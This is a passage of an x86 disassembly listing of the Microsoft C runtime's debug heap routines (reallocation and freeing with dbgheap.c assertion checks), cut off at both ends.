[ebp+var_C] cmp ecx, [ebp+var_4] jnb short loc_415579 mov edx, [ebp+var_C] mov byte ptr [edx], 0 mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_415560 ; --------------------------------------------------------------------------- loc_415579: ; CODE XREF: sub_415520+2Fj ; sub_415520+46j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_415520 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415580 proc near ; CODE XREF: sub_4010AA+2Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push 0 push 0 push 1 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_4155B0 add esp, 14h mov [ebp+var_4], eax mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_415580 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4155B0 proc near ; CODE XREF: sub_415580+12p ; sub_419EA0+50p ... var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h ; FUNCTION CHUNK AT 0041561E SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4345C8 push offset sub_41BD64 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFF4h push ebx push esi push edi push 9 call sub_41BC80 add esp, 4 mov [ebp+var_4], 0 push 1 mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_415640 add esp, 18h mov [ebp+var_1C], eax mov [ebp+var_4], 0FFFFFFFFh call sub_415613 jmp short loc_41561E sub_4155B0 endp ; =============== S U B R O U T I N E ======================================= sub_415613 proc near ; CODE XREF: sub_4155B0+5Cp ; DATA XREF: .data:004345D0o push 9 call sub_41BD20 add esp, 4 retn sub_415613 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4155B0 loc_41561E: ; CODE XREF: sub_4155B0+61j mov eax, [ebp+var_1C] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_4155B0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415640 proc near ; CODE XREF: sub_4155B0+4Ap ; sub_415B90+4Ap var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi mov [ebp+var_14], 0 cmp [ebp+arg_0], 0 jnz short loc_415673 mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax call sub_4150C0 add esp, 10h jmp loc_415B4A ; --------------------------------------------------------------------------- loc_415673: ; CODE XREF: sub_415640+14j cmp [ebp+arg_14], 0 jz short loc_415696 cmp [ebp+arg_4], 0 jnz short loc_415696 mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_0] push edx call sub_415C60 add esp, 8 xor eax, eax jmp loc_415B4A ; --------------------------------------------------------------------------- loc_415696: ; CODE XREF: sub_415640+37j ; sub_415640+3Dj mov eax, dword_444E70 and eax, 4 test eax, eax jz short loc_4156D2 loc_4156A2: ; CODE XREF: sub_415640+90j call sub_416420 test eax, eax jnz short loc_4156CC push offset a_crtcheckmemor ; "_CrtCheckMemory()" push 0 push 246h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_4156CC int 3 ; Trap to Debugger loc_4156CC: ; CODE XREF: sub_415640+69j ; sub_415640+89j xor ecx, ecx test ecx, ecx jnz short loc_4156A2 loc_4156D2: ; CODE XREF: sub_415640+60j mov edx, dword_444E74 mov [ebp+var_10], edx mov eax, [ebp+var_10] cmp eax, dword_444E78 jnz short loc_4156E7 int 3 ; Trap to Debugger loc_4156E7: ; CODE XREF: sub_415640+A4j mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+var_10] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax push 2 call off_445240 add esp, 1Ch test eax, eax jnz short loc_41576C cmp [ebp+arg_C], 0 jz short loc_41573F loc_415714: ; CODE XREF: sub_415640+FBj mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx push offset aClientHookReAl ; "Client hook re-allocation failure at fi"... push 0 push 0 push 0 push 0 call sub_41B010 add esp, 1Ch cmp eax, 1 jnz short loc_415737 int 3 ; Trap to Debugger loc_415737: ; CODE XREF: sub_415640+F4j xor eax, eax test eax, eax jnz short loc_415714 jmp short loc_415765 ; --------------------------------------------------------------------------- loc_41573F: ; CODE XREF: sub_415640+D2j ; sub_415640+123j push offset aClientHookRe_0 ; "Client hook re-allocation failure.\n" push offset aS_20 ; "%s" push 0 push 0 push 0 push 0 call sub_41B010 add esp, 18h cmp eax, 1 jnz short loc_41575F int 3 ; Trap to Debugger loc_41575F: ; CODE XREF: sub_415640+11Cj xor ecx, ecx test ecx, ecx jnz short loc_41573F loc_415765: ; CODE XREF: sub_415640+FDj xor eax, eax jmp loc_415B4A ; --------------------------------------------------------------------------- loc_41576C: ; CODE XREF: sub_415640+CCj cmp [ebp+arg_4], 0FFFFFFDBh jbe short loc_41579E loc_415772: ; CODE XREF: sub_415640+155j mov edx, [ebp+arg_4] push edx push offset aAllocationTooL ; "Allocation too large or negative: %u by"... push 0 push 0 push 0 push 1 call sub_41B010 add esp, 18h cmp eax, 1 jnz short loc_415791 int 3 ; Trap to Debugger loc_415791: ; CODE XREF: sub_415640+14Ej xor eax, eax test eax, eax jnz short loc_415772 xor eax, eax jmp loc_415B4A ; --------------------------------------------------------------------------- loc_41579E: ; CODE XREF: sub_415640+130j cmp [ebp+arg_8], 1 jz short loc_4157E6 mov ecx, [ebp+arg_8] and ecx, 0FFFFh cmp ecx, 4 jz short loc_4157E6 mov edx, [ebp+arg_8] and edx, 0FFFFh cmp edx, 2 jz short loc_4157E6 loc_4157C0: ; CODE XREF: sub_415640+1A4j push offset aErrorMemoryAll ; "Error: memory allocation: bad memory bl"... push offset aS_20 ; "%s" push 0 push 0 push 0 push 1 call sub_41B010 add esp, 18h cmp eax, 1 jnz short loc_4157E0 int 3 ; Trap to Debugger loc_4157E0: ; CODE XREF: sub_415640+19Dj xor eax, eax test eax, eax jnz short loc_4157C0 loc_4157E6: ; CODE XREF: sub_415640+162j ; sub_415640+170j ... mov ecx, [ebp+arg_0] push ecx call sub_416900 add esp, 4 test eax, eax jnz short loc_415817 push offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)" push 0 push 26Eh push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_415817 int 3 ; Trap to Debugger loc_415817: ; CODE XREF: sub_415640+1B4j ; sub_415640+1D4j xor edx, edx test edx, edx jnz short loc_4157E6 mov eax, [ebp+arg_0] sub eax, 20h mov [ebp+var_8], eax mov ecx, [ebp+var_8] cmp dword ptr [ecx+14h], 3 jnz short loc_415836 mov [ebp+var_14], 1 loc_415836: ; CODE XREF: sub_415640+1EDj cmp [ebp+var_14], 0 jz short loc_41587A loc_41583C: ; CODE XREF: sub_415640+236j mov edx, [ebp+var_8] cmp dword ptr [edx+0Ch], 0FEDCBABCh jnz short loc_415851 mov eax, [ebp+var_8] cmp dword ptr [eax+18h], 0 jz short loc_415872 loc_415851: ; CODE XREF: sub_415640+206j push offset aPoldblockNline ; "pOldBlock->nLine == IGNORE_LINE && pOld"... push 0 push 278h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_415872 int 3 ; Trap to Debugger loc_415872: ; CODE XREF: sub_415640+20Fj ; sub_415640+22Fj xor ecx, ecx test ecx, ecx jnz short loc_41583C jmp short loc_4158DE ; --------------------------------------------------------------------------- loc_41587A: ; CODE XREF: sub_415640+1FAj mov edx, [ebp+var_8] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 2 jnz short loc_41589F mov ecx, [ebp+arg_8] and ecx, 0FFFFh cmp ecx, 1 jnz short loc_41589F mov [ebp+arg_8], 2 loc_41589F: ; CODE XREF: sub_415640+248j ; sub_415640+256j ... mov edx, [ebp+var_8] mov eax, [edx+14h] and eax, 0FFFFh mov ecx, [ebp+arg_8] and ecx, 0FFFFh cmp eax, ecx jz short loc_4158D8 push offset a_block_typePol ; "_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLO"... push 0 push 27Fh push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_4158D8 int 3 ; Trap to Debugger loc_4158D8: ; CODE XREF: sub_415640+275j ; sub_415640+295j xor edx, edx test edx, edx jnz short loc_41589F loc_4158DE: ; CODE XREF: sub_415640+238j cmp [ebp+arg_14], 0 jz short loc_415909 mov eax, [ebp+arg_4] add eax, 24h push eax mov ecx, [ebp+var_8] push ecx call sub_41C230 add esp, 8 mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_415907 xor eax, eax jmp loc_415B4A ; --------------------------------------------------------------------------- loc_415907: ; CODE XREF: sub_415640+2BEj jmp short loc_41592C ; --------------------------------------------------------------------------- loc_415909: ; CODE XREF: sub_415640+2A2j mov edx, [ebp+arg_4] add edx, 24h push edx mov eax, [ebp+var_8] push eax call sub_41C020 add esp, 8 mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_41592C xor eax, eax jmp loc_415B4A ; --------------------------------------------------------------------------- loc_41592C: ; CODE XREF: sub_415640:loc_415907j ; sub_415640+2E3j mov ecx, dword_444E74 add ecx, 1 mov dword_444E74, ecx cmp [ebp+var_14], 0 jnz short loc_415997 mov edx, [ebp+var_C] mov eax, dword_4DDF70 sub eax, [edx+10h] mov dword_4DDF70, eax mov ecx, dword_4DDF70 add ecx, [ebp+arg_4] mov dword_4DDF70, ecx mov edx, [ebp+var_C] mov eax, dword_4DDF78 sub eax, [edx+10h] mov dword_4DDF78, eax mov ecx, dword_4DDF78 add ecx, [ebp+arg_4] mov dword_4DDF78, ecx mov edx, dword_4DDF78 cmp edx, dword_4DDF7C jbe short loc_415997 mov eax, dword_4DDF78 mov dword_4DDF7C, eax loc_415997: ; CODE XREF: sub_415640+2FFj ; sub_415640+34Bj mov ecx, [ebp+var_C] add ecx, 20h mov [ebp+var_4], ecx mov edx, [ebp+var_C] mov eax, [ebp+arg_4] cmp eax, [edx+10h] jbe short loc_4159CF mov ecx, [ebp+var_C] mov edx, [ebp+arg_4] sub edx, [ecx+10h] push edx xor eax, eax mov al, byte_444E7E push eax mov ecx, [ebp+var_C] mov edx, [ebp+var_4] add edx, [ecx+10h] push edx call sub_417700 add esp, 0Ch loc_4159CF: ; CODE XREF: sub_415640+369j push 4 xor eax, eax mov al, byte_444E7C push eax mov ecx, [ebp+var_4] add ecx, [ebp+arg_4] push ecx call sub_417700 add esp, 0Ch cmp [ebp+var_14], 0 jnz short loc_415A09 mov edx, [ebp+var_C] mov eax, [ebp+arg_C] mov [edx+8], eax mov ecx, [ebp+var_C] mov edx, [ebp+arg_10] mov [ecx+0Ch], edx mov eax, [ebp+var_C] mov ecx, [ebp+var_10] mov [eax+18h], ecx loc_415A09: ; CODE XREF: sub_415640+3ACj mov edx, [ebp+var_C] mov eax, [ebp+arg_4] mov [edx+10h], eax loc_415A12: ; CODE XREF: sub_415640+40Bj cmp [ebp+arg_14], 0 jnz short loc_415A47 cmp [ebp+arg_14], 0 jnz short loc_415A26 mov ecx, [ebp+var_C] cmp ecx, [ebp+var_8] jz short loc_415A47 loc_415A26: ; CODE XREF: sub_415640+3DCj push offset aFreallocFreall ; "fRealloc || (!fRealloc && pNewBlock == "... push 0 push 2B5h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_415A47 int 3 ; Trap to Debugger loc_415A47: ; CODE XREF: sub_415640+3D6j ; sub_415640+3E4j ... xor edx, edx test edx, edx jnz short loc_415A12 mov eax, [ebp+var_C] cmp eax, [ebp+var_8] jz short loc_415A5B cmp [ebp+var_14], 0 jz short loc_415A63 loc_415A5B: ; CODE XREF: sub_415640+413j mov eax, [ebp+var_4] jmp loc_415B4A ; --------------------------------------------------------------------------- loc_415A63: ; CODE XREF: sub_415640+419j mov ecx, [ebp+var_C] cmp dword ptr [ecx], 0 jz short loc_415A7B mov edx, [ebp+var_C] mov eax, [edx] mov ecx, [ebp+var_C] mov edx, [ecx+4] mov [eax+4], edx jmp short loc_415AB7 ; --------------------------------------------------------------------------- loc_415A7B: ; CODE XREF: sub_415640+429j ; sub_415640+46Aj mov eax, dword_4DDF6C cmp eax, [ebp+var_8] jz short loc_415AA6 push offset a_plastblockPol ; "_pLastBlock == pOldBlock" push 0 push 2C4h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_415AA6 int 3 ; Trap to Debugger loc_415AA6: ; CODE XREF: sub_415640+443j ; sub_415640+463j xor ecx, ecx test ecx, ecx jnz short loc_415A7B mov edx, [ebp+var_C] mov eax, [edx+4] mov dword_4DDF6C, eax loc_415AB7: ; CODE XREF: sub_415640+439j mov ecx, [ebp+var_C] cmp dword ptr [ecx+4], 0 jz short loc_415ACF mov edx, [ebp+var_C] mov eax, [edx+4] mov ecx, [ebp+var_C] mov edx, [ecx] mov [eax], edx jmp short loc_415B0A ; --------------------------------------------------------------------------- loc_415ACF: ; CODE XREF: sub_415640+47Ej ; sub_415640+4BEj mov eax, dword_4DDF74 cmp eax, [ebp+var_8] jz short loc_415AFA push offset a_pfirstblockPo ; "_pFirstBlock == pOldBlock" push 0 push 2CFh push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_415AFA int 3 ; Trap to Debugger loc_415AFA: ; CODE XREF: sub_415640+497j ; sub_415640+4B7j xor ecx, ecx test ecx, ecx jnz short loc_415ACF mov edx, [ebp+var_C] mov eax, [edx] mov dword_4DDF74, eax loc_415B0A: ; CODE XREF: sub_415640+48Dj cmp dword_4DDF74, 0 jz short loc_415B21 mov ecx, dword_4DDF74 mov edx, [ebp+var_C] mov [ecx+4], edx jmp short loc_415B29 ; --------------------------------------------------------------------------- loc_415B21: ; CODE XREF: sub_415640+4D1j mov eax, [ebp+var_C] mov dword_4DDF6C, eax loc_415B29: ; CODE XREF: sub_415640+4DFj mov ecx, [ebp+var_C] mov edx, dword_4DDF74 mov [ecx], edx mov eax, [ebp+var_C] mov dword ptr [eax+4], 0 mov ecx, [ebp+var_C] mov dword_4DDF74, ecx mov eax, [ebp+var_4] loc_415B4A: ; CODE XREF: sub_415640+2Ej ; sub_415640+51j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_415640 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push 0 push 0 push 1 mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx call sub_415B90 add esp, 14h mov [ebp-4], eax mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415B90 proc near ; CODE XREF: .data:00415B72p var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h ; FUNCTION CHUNK AT 00415BFE SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_434778 push offset sub_41BD64 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFF4h push ebx push esi push edi push 9 call sub_41BC80 add esp, 4 mov [ebp+var_4], 0 push 0 mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_415640 add esp, 18h mov [ebp+var_1C], eax mov [ebp+var_4], 0FFFFFFFFh call sub_415BF3 jmp short loc_415BFE sub_415B90 endp ; =============== S U B R O U T I N E ======================================= sub_415BF3 proc near ; CODE XREF: sub_415B90+5Cp ; DATA XREF: .data:00434780o push 9 call sub_41BD20 add esp, 4 retn sub_415BF3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_415B90 loc_415BFE: ; CODE XREF: sub_415B90+61j mov eax, [ebp+var_1C] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_415B90 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415C20 proc near ; CODE XREF: sub_4010AA+5Cp ; sub_40879E+B7p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 1 mov eax, [ebp+arg_0] push eax call sub_415C60 add esp, 8 pop ebp retn sub_415C20 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 mov eax, [ebp+8] push eax call sub_415CD0 add esp, 8 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415C60 proc near ; CODE XREF: sub_414FD0+98p ; sub_415640+47p ... var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 00415CBD SIZE 00000011 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_434788 push offset sub_41BD64 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi push edi push 9 call sub_41BC80 add esp, 4 mov [ebp+var_4], 0 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_415CD0 add esp, 8 mov [ebp+var_4], 0FFFFFFFFh call sub_415CB2 jmp short loc_415CBD sub_415C60 endp ; =============== S U B R O U T I N E ======================================= sub_415CB2 proc near ; CODE XREF: sub_415C60+4Bp ; DATA XREF: .data:00434790o push 9 call sub_41BD20 add esp, 4 retn sub_415CB2 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_415C60 loc_415CBD: ; CODE XREF: sub_415C60+50j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_415C60 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415CD0 proc near ; CODE XREF: .data:00415C49p ; sub_415C60+3Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, dword_444E70 and eax, 4 test eax, eax jz short loc_415D13 loc_415CE3: ; CODE XREF: sub_415CD0+41j call sub_416420 test eax, eax jnz short loc_415D0D push offset a_crtcheckmemor ; "_CrtCheckMemory()" push 0 push 402h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_415D0D int 3 ; Trap to Debugger loc_415D0D: ; CODE XREF: sub_415CD0+1Aj ; sub_415CD0+3Aj xor ecx, ecx test ecx, ecx jnz short loc_415CE3 loc_415D13: ; CODE XREF: sub_415CD0+11j cmp [ebp+arg_0], 0 jnz short loc_415D1E jmp loc_4160B5 ; --------------------------------------------------------------------------- loc_415D1E: ; CODE XREF: sub_415CD0+47j push 0 push 0 push 0 mov edx, [ebp+arg_4] push edx push 0 mov eax, [ebp+arg_0] push eax push 3 call off_445240 add esp, 1Ch test eax, eax jnz short loc_415D68 loc_415D3D: ; CODE XREF: sub_415CD0+91j push offset aClientHookFree ; "Client hook free failure.\n" push offset aS_20 ; "%s" push 0 push 0 push 0 push 0 call sub_41B010 add esp, 18h cmp eax, 1 jnz short loc_415D5D int 3 ; Trap to Debugger loc_415D5D: ; CODE XREF: sub_415CD0+8Aj xor ecx, ecx test ecx, ecx jnz short loc_415D3D jmp loc_4160B5 ; --------------------------------------------------------------------------- loc_415D68: ; CODE XREF: sub_415CD0+6Bj ; sub_415CD0+CDj mov edx, [ebp+arg_0] push edx call sub_416900 add esp, 4 test eax, eax jnz short loc_415D99 push offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)" push 0 push 414h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_415D99 int 3 ; Trap to Debugger loc_415D99: ; CODE XREF: sub_415CD0+A6j ; sub_415CD0+C6j xor eax, eax test eax, eax jnz short loc_415D68 mov ecx, [ebp+arg_0] sub ecx, 20h mov [ebp+var_4], ecx loc_415DA8: ; CODE XREF: sub_415CD0+12Fj mov edx, [ebp+var_4] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 4 jz short loc_415DFB mov ecx, [ebp+var_4] cmp dword ptr [ecx+14h], 1 jz short loc_415DFB mov edx, [ebp+var_4] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 2 jz short loc_415DFB mov ecx, [ebp+var_4] cmp dword ptr [ecx+14h], 3 jz short loc_415DFB push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)" push 0 push 41Ah push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_415DFB int 3 ; Trap to Debugger loc_415DFB: ; CODE XREF: sub_415CD0+E6j ; sub_415CD0+EFj ... xor edx, edx test edx, edx jnz short loc_415DA8 mov eax, dword_444E70 and eax, 4 test eax, eax jnz loc_415ED6 push 4 mov cl, byte_444E7C push ecx mov edx, [ebp+var_4] add edx, 1Ch push edx call sub_416390 add esp, 0Ch test eax, eax jnz short loc_415E70 loc_415E2D: ; CODE XREF: sub_415CD0+19Ej mov eax, [ebp+var_4] add eax, 20h push eax mov ecx, [ebp+var_4] mov edx, [ecx+18h] push edx mov eax, [ebp+var_4] mov ecx, [eax+14h] and ecx, 0FFFFh mov edx, off_444E80[ecx*4] push edx push offset aDamageBeforeHs ; "DAMAGE: before %hs block (#%d) at 0x%08"... push 0 push 0 push 0 push 1 call sub_41B010 add esp, 20h cmp eax, 1 jnz short loc_415E6A int 3 ; Trap to Debugger loc_415E6A: ; CODE XREF: sub_415CD0+197j xor eax, eax test eax, eax jnz short loc_415E2D loc_415E70: ; CODE XREF: sub_415CD0+15Bj push 4 mov cl, byte_444E7C push ecx mov edx, [ebp+var_4] mov eax, [edx+10h] mov ecx, [ebp+var_4] lea edx, [ecx+eax+20h] push edx call sub_416390 add esp, 0Ch test eax, eax jnz short loc_415ED6 loc_415E93: ; CODE XREF: sub_415CD0+204j mov eax, [ebp+var_4] add eax, 20h push eax mov ecx, [ebp+var_4] mov edx, [ecx+18h] push edx mov eax, [ebp+var_4] mov ecx, [eax+14h] and ecx, 0FFFFh mov edx, off_444E80[ecx*4] push edx push offset aDamageAfterHsB ; "DAMAGE: after %hs block (#%d) at 0x%08X"... push 0 push 0 push 0 push 1 call sub_41B010 add esp, 20h cmp eax, 1 jnz short loc_415ED0 int 3 ; Trap to Debugger loc_415ED0: ; CODE XREF: sub_415CD0+1FDj xor eax, eax test eax, eax jnz short loc_415E93 loc_415ED6: ; CODE XREF: sub_415CD0+13Bj ; sub_415CD0+1C1j mov ecx, [ebp+var_4] cmp dword ptr [ecx+14h], 3 jnz short loc_415F4B loc_415EDF: ; CODE XREF: sub_415CD0+249j mov edx, [ebp+var_4] cmp dword ptr [edx+0Ch], 0FEDCBABCh jnz short loc_415EF4 mov eax, [ebp+var_4] cmp dword ptr [eax+18h], 0 jz short loc_415F15 loc_415EF4: ; CODE XREF: sub_415CD0+219j push offset aPheadNlineIgno ; "pHead->nLine == IGNORE_LINE && pHead->l"... push 0 push 42Fh push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_415F15 int 3 ; Trap to Debugger loc_415F15: ; CODE XREF: sub_415CD0+222j ; sub_415CD0+242j xor ecx, ecx test ecx, ecx jnz short loc_415EDF mov edx, [ebp+var_4] mov eax, [edx+10h] add eax, 24h push eax xor ecx, ecx mov cl, byte_444E7D push ecx mov edx, [ebp+var_4] push edx call sub_417700 add esp, 0Ch mov eax, [ebp+var_4] push eax call sub_41C6D0 add esp, 4 jmp loc_4160B5 ; --------------------------------------------------------------------------- loc_415F4B: ; CODE XREF: sub_415CD0+20Dj mov ecx, [ebp+var_4] cmp dword ptr [ecx+14h], 2 jnz short loc_415F61 cmp [ebp+arg_4], 1 jnz short loc_415F61 mov [ebp+arg_4], 2 loc_415F61: ; CODE XREF: sub_415CD0+282j ; sub_415CD0+288j ... mov edx, [ebp+var_4] mov eax, [edx+14h] cmp eax, [ebp+arg_4] jz short loc_415F8D push offset aPheadNblockuse ; "pHead->nBlockUse == nBlockUse" push 0 push 43Ch push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_415F8D int 3 ; Trap to Debugger loc_415F8D: ; CODE XREF: sub_415CD0+29Aj ; sub_415CD0+2BAj xor ecx, ecx test ecx, ecx jnz short loc_415F61 mov edx, [ebp+var_4] mov eax, dword_4DDF78 sub eax, [edx+10h] mov dword_4DDF78, eax mov ecx, dword_444E70 and ecx, 2 test ecx, ecx jnz loc_41608C mov edx, [ebp+var_4] cmp dword ptr [edx], 0 jz short loc_415FCC mov eax, [ebp+var_4] mov ecx, [eax] mov edx, [ebp+var_4] mov eax, [edx+4] mov [ecx+4], eax jmp short loc_41600A ; --------------------------------------------------------------------------- loc_415FCC: ; CODE XREF: sub_415CD0+2EAj ; sub_415CD0+32Cj mov ecx, dword_4DDF6C cmp ecx, [ebp+var_4] jz short loc_415FF8 push offset a_plastblockPhe ; "_pLastBlock == pHead" push 0 push 44Bh push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_415FF8 int 3 ; Trap to Debugger loc_415FF8: ; CODE XREF: sub_415CD0+305j ; sub_415CD0+325j xor edx, edx test edx, edx jnz short loc_415FCC mov eax, [ebp+var_4] mov ecx, [eax+4] mov dword_4DDF6C, ecx loc_41600A: ; CODE XREF: sub_415CD0+2FAj mov edx, [ebp+var_4] cmp dword ptr [edx+4], 0 jz short loc_416022 mov eax, [ebp+var_4] mov ecx, [eax+4] mov edx, [ebp+var_4] mov eax, [edx] mov [ecx], eax jmp short loc_41605F ; --------------------------------------------------------------------------- loc_416022: ; CODE XREF: sub_415CD0+341j ; sub_415CD0+382j mov ecx, dword_4DDF74 cmp ecx, [ebp+var_4] jz short loc_41604E push offset a_pfirstblockPh ; "_pFirstBlock == pHead" push 0 push 455h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_41604E int 3 ; Trap to Debugger loc_41604E: ; CODE XREF: sub_415CD0+35Bj ; sub_415CD0+37Bj xor edx, edx test edx, edx jnz short loc_416022 mov eax, [ebp+var_4] mov ecx, [eax] mov dword_4DDF74, ecx loc_41605F: ; CODE XREF: sub_415CD0+350j mov edx, [ebp+var_4] mov eax, [edx+10h] add eax, 24h push eax xor ecx, ecx mov cl, byte_444E7D push ecx mov edx, [ebp+var_4] push edx call sub_417700 add esp, 0Ch mov eax, [ebp+var_4] push eax call sub_41C6D0 add esp, 4 jmp short loc_4160B5 ; --------------------------------------------------------------------------- loc_41608C: ; CODE XREF: sub_415CD0+2DEj mov ecx, [ebp+var_4] mov dword ptr [ecx+14h], 0 mov edx, [ebp+var_4] mov eax, [edx+10h] push eax xor ecx, ecx mov cl, byte_444E7D push ecx mov edx, [ebp+var_4] add edx, 20h push edx call sub_417700 add esp, 0Ch loc_4160B5: ; CODE XREF: sub_415CD0+49j ; sub_415CD0+93j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_415CD0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 mov eax, [ebp+8] push eax call sub_4160E0 add esp, 8 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4160E0 proc near ; CODE XREF: .data:004160C9p ; sub_419EA0+11p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 0041625C SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4348C0 push offset sub_41BD64 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFF0h push ebx push esi push edi mov eax, dword_444E70 and eax, 4 test eax, eax jz short loc_41613F loc_41610F: ; CODE XREF: sub_4160E0+5Dj call sub_416420 test eax, eax jnz short loc_416139 push offset a_crtcheckmemor ; "_CrtCheckMemory()" push 0 push 49Dh push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_416139 int 